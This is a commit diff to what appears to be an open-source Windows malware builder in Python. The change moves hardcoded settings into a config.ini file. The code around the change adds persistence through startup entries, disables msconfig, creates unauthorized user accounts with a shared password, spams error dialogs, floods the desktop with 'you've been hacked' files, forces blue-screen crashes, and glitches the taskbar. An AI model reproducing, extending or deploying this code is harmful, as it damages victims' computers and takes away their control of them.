1
1
from __future__ import annotations
2
2
3
+ import configparser
3
4
import ctypes
4
5
import functools
5
6
import getpass
21
22
import win32gui
22
23
import wmi
23
24
24
- # ------------------------- Constants Code ------------------------- #
25
+ # ----------------------- Config Mechanism ------------------------- #
25
26
26
- PATH = os .path .abspath (__file__ )
27
- MOVE_TO = "C:\\ Users\\ Hp\\ Desktop" # TODO: Config.ini
28
- VERBOSE = False # TODO: Config.ini
29
- USE_DAEMON = True # TODO: Config.ini
27
+ # Create a ConfigParser object
28
+ config = configparser .ConfigParser ()
30
29
31
- # ----------------------- Logging Mechanism ------------------------- #
30
+ # Read the config.ini file
31
+ config .read ('config.ini' )
32
32
33
+ # ------------------------ Constants Code -------------------------- #
33
34
34
- if VERBOSE :
35
- logger = colorlog .getLogger ()
36
- logger .setLevel (getattr (logging , "INFO" , logging .INFO ))
37
- handler = colorlog .StreamHandler ()
35
+ LOG_LEVEL = config .get ("Core Settings" , "LOG_LEVEL" , fallback = "CRITICAL" )
36
+ USE_DAEMON = config .getboolean ("Core Settings" , "USE_DAEMON" , fallback = True )
38
37
39
- log_colors = {
40
- "DEBUG" : "cyan" ,
41
- "INFO" : "green" ,
42
- "WARNING" : "yellow" ,
43
- "ERROR" : "red" ,
44
- "CRITICAL" : "red" ,
45
- }
38
+ # -------------------- Setup Logging Mechanism --------------------- #
46
39
47
- formatter = colorlog .ColoredFormatter (
48
- "%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s" ,
49
- log_colors = log_colors ,
50
- )
51
- handler .setFormatter (formatter )
52
- logger .addHandler (handler )
53
- else :
54
- logging .basicConfig (level = logging .CRITICAL )
55
40
41
+ logger = colorlog .getLogger ()
42
+ logger .setLevel (getattr (logging , LOG_LEVEL , logging .INFO ))
43
+ handler = colorlog .StreamHandler ()
44
+
45
+ log_colors = {
46
+ "DEBUG" : "cyan" ,
47
+ "INFO" : "green" ,
48
+ "WARNING" : "yellow" ,
49
+ "ERROR" : "red" ,
50
+ "CRITICAL" : "red" ,
51
+ }
52
+
53
+ formatter = colorlog .ColoredFormatter (
54
+ "%(log_color)s%(levelname)-8s%(reset)s %(blue)s%(message)s" ,
55
+ log_colors = log_colors ,
56
+ )
57
+ handler .setFormatter (formatter )
58
+ logger .addHandler (handler )
56
59
log = colorlog .getLogger (__name__ )
57
60
58
61
62
65
class Core :
63
66
def __init__ (self ):
64
67
self .PATH = os .path .abspath (__file__ )
65
- self .MOVE_TO = "C:\\ Users\\ Hp\\ Desktop" # TODO: Config.ini
66
- self .TASK_NAME = "" .join (
67
- random .choices (string .ascii_letters + string .digits , k = random .randint (5 , 10 ))) # TODO: Config.ini
68
+ self .MOVE_TO = config .get ("Core Settings" , "MOVE_TO" , fallback = "C:\\ Users\\ Hp" )
69
+ fallback_name = "" .join (
70
+ random .choices (string .ascii_letters + string .digits , k = random .randint (5 , 10 )))
71
+ self .TASK_NAME = config .get ("Core Settings" , "TASK_NAME" , fallback = fallback_name )
68
72
69
73
def move_script (self ):
70
74
"""
@@ -192,7 +196,7 @@ def disable():
192
196
193
197
class MsConfig :
194
198
def __init__ (self ):
195
- self .MSCONFIG = r" C:\Windows\System32\msconfig.exe" # TODO: Config.ini
199
+ self .MSCONFIG = config . get ( "Kill.MsConfig" , "PATH" , fallback = " C:\\ Windows\\ System32\\ msconfig.exe")
196
200
197
201
def disable (self ):
198
202
"""
@@ -1271,8 +1275,9 @@ def enable(self):
1271
1275
class Spam :
1272
1276
class Accounts :
1273
1277
def __init__ (self ):
1274
- self .ACCOUNT_NAMES = ["you've" , "been" , "hacked" , "by" , "the" , "best" ] # TODO: Config.ini
1275
- self .PASSWORD_FOR_ALL_ACCOUNTS = "password123" # TODO: Config.ini
1278
+ list_of_accounts = config .get ("Spam.Accounts" , "ACCOUNTS" , fallback = "you've, been, hacked, by, the, best" )
1279
+ self .ACCOUNT_NAMES = list_of_accounts .replace (" " , "" ).split ("," )
1280
+ self .PASSWORD_FOR_ALL_ACCOUNTS = config .get ("Spam.Accounts" , "PASSWORD" , fallback = "MalwareBuilder2025" )
1276
1281
1277
1282
def create (self ):
1278
1283
for account_name in self .ACCOUNT_NAMES :
@@ -1295,15 +1300,16 @@ def remove(self):
1295
1300
1296
1301
class ErrorMessages :
1297
1302
def __init__ (self ):
1298
- self .message_text = "This is a spam error message!" # TODO: Config.ini
1299
- self .message_title = "Error" # TODO: Config.ini
1300
- self .spam_count = 10 # TODO: Config.ini
1303
+ self .message_text = config .get ("Spam.Errors" , "ERROR_MESSAGE" , fallback = "This is a spam error message!" )
1304
+ self .message_title = config .get ("Spam.Errors" , "ERROR_TITLE" , fallback = "Error!" )
1305
+ self .spam_count = config .getint ("Spam.Errors" , "ERROR_COUNT" , fallback = 10 )
1306
+ self .type = config .getint ("Spam.Errors" , "ERROR_TYPE" , fallback = 16 )
1301
1307
1302
1308
def _spam_error_messages (self ):
1303
1309
"""Spams error windows when enabled."""
1304
1310
while True :
1305
1311
ctypes .windll .user32 .MessageBoxW (
1306
- 0 , self .message_text , self .message_title , 0x10
1312
+ self . type , self .message_text , self .message_title , 0x10
1307
1313
)
1308
1314
time .sleep (0.1 ) # Add a delay to prevent excessive CPU usage
1309
1315
@@ -1315,16 +1321,19 @@ def create(self):
1315
1321
1316
1322
class Desktop :
1317
1323
def __init__ (self ):
1318
- default = "Hacked Bozo" # TODO: Config.ini
1319
- repeat_default = 500 # TODO: Config.ini
1320
- folders = ["Hackers" , "Anonymous" , "Your PC is mine" , "Hacked" , "Lol" ] # TODO: Config.ini
1324
+ default = config .get ("Spam.Desktop" , "ERROR_TYPE" , fallback = "You've been hacked" )
1325
+ repeat_default = config .getint ("Spam.Desktop" , "COUNT" , fallback = 500 )
1326
+
1327
+ folders = config .get ("Spam.Desktop" , "EXTRA_FOLDERS" , fallback = "Hackers, Anonymous, YourPCIsMine, Hacked, Lol" )
1328
+ folders = folders .replace (" " , "" ).split ("," )
1329
+ files = config .get ("Spam.Desktop" , "EXTRA_FILES" , fallback = "You, have, been, hacked, lol" )
1330
+ files = files .replace (" " , "" ).split ("," )
1331
+
1321
1332
for i in range (repeat_default ):
1322
1333
folders .append (f"{ default } { i } " )
1323
- files = ["You" , "have" , "been" , "hacked" , "lol" ] # TODO: Config.ini
1324
- for i in range (repeat_default ):
1325
1334
files .append (f"{ default } { i } " )
1326
- self .files = files
1327
- self .folders = folders
1335
+ self .files = list ( set ( files )) # Remove duplicates
1336
+ self .folders = list ( set ( folders )) # Remove duplicates
1328
1337
1329
1338
def create (self ):
1330
1339
# Get the path to the desktop
@@ -1465,11 +1474,11 @@ def format(self):
1465
1474
1466
1475
class BSOD :
1467
1476
def __init__ (self ):
1468
- self .MAX_CRASHES = 5 # TODO: Config.ini
1469
- self .REGISTRY_PATH = r" SOFTWARE\SysBSOD"
1470
- self .VALUE_NAME = " BCC"
1471
- self .CRASH_ERR = " The code monkeys at our headquarters are working very hard to fix this!" # TODO: Config.ini
1472
- self .CRASH_CODE = 0x00069420 # TODO: Config.ini
1477
+ self .MAX_CRASHES = config . getint ( "Destroy.BSOD" , "MAX_CRASHES" , fallback = 5 )
1478
+ self .REGISTRY_PATH = config . get ( "Destroy.BSOD" , "REG_PATH" , fallback = " SOFTWARE\\ SysBSOD")
1479
+ self .VALUE_NAME = config . get ( "Destroy.BSOD" , "REG_KEY" , fallback = " BCC")
1480
+ self .CRASH_ERR = config . get ( "Destroy.BSOD" , "MESSAGE" , fallback = " The code monkeys at our headquarters are working very hard to fix this!")
1481
+ self .CRASH_CODE = 0xDEADDEAD
1473
1482
1474
1483
def __check_registry_and_update (self ):
1475
1484
"""
@@ -1674,7 +1683,7 @@ def __persist(enable=True):
1674
1683
except Exception as e :
1675
1684
log .error (f"Registry operation failed: { e } " )
1676
1685
return
1677
-
1686
+
1678
1687
if enable :
1679
1688
log .info ("Taskbar glitching started." )
1680
1689
while enable : # Keep the script running as long as glitching is enabled
@@ -1893,13 +1902,18 @@ def start(self):
1893
1902
1894
1903
1895
1904
"""
1896
- if not is_admin():
1897
- log.critical("This script requires administrator privileges.")
1898
- exit(1)
1899
-
1900
- if PATH != MOVE_TO:
1901
- move_script() # Move the script to the Public Documents directory
1902
- add_to_startup() # Add the script to startup execution
1903
- else:
1904
- pass # Code inserted here
1905
+ try:
1906
+ if not is_admin():
1907
+ log.critical("This script requires administrator privileges.")
1908
+ exit(1)
1909
+
1910
+ if PATH != MOVE_TO:
1911
+ Core().move_script() # Move the script
1912
+ Core().add_to_startup() # Add the script to startup execution
1913
+ log.info("Script moved to new folder, quitting now, will run on startup.")
1914
+ exit(0) # Exit the script to allow it to run from the new location
1915
+ else:
1916
+ pass # Code inserted here
1917
+ except Exception as e:
1918
+ log.exception(f"A fatal error occurred: {e}")
1905
1919
"""
0 commit comments